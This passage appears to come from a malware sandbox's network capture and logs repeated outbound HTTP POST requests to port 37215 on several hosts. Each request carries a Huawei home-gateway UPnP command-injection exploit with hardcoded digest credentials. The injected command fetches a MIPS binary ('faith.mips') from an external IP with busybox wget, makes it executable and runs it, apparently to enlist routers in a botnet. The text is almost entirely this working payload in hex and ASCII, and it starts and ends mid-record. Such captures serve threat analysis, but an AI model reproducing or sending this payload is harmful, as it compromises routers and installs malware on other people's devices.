74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:00.610498905 CET	2130	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:20.319781065 CET	2660	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.23	41758	156.241.113.177	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:41.679209948 CET	1618	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:43.684889078 CET	1673	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:46.276407003 CET	1730	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:51.143822908 CET	1851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:00.610498905 CET	2130	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:20.319781065 CET	2660	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.23	42524	156.253.46.138	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:43.407335997 CET	1671	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 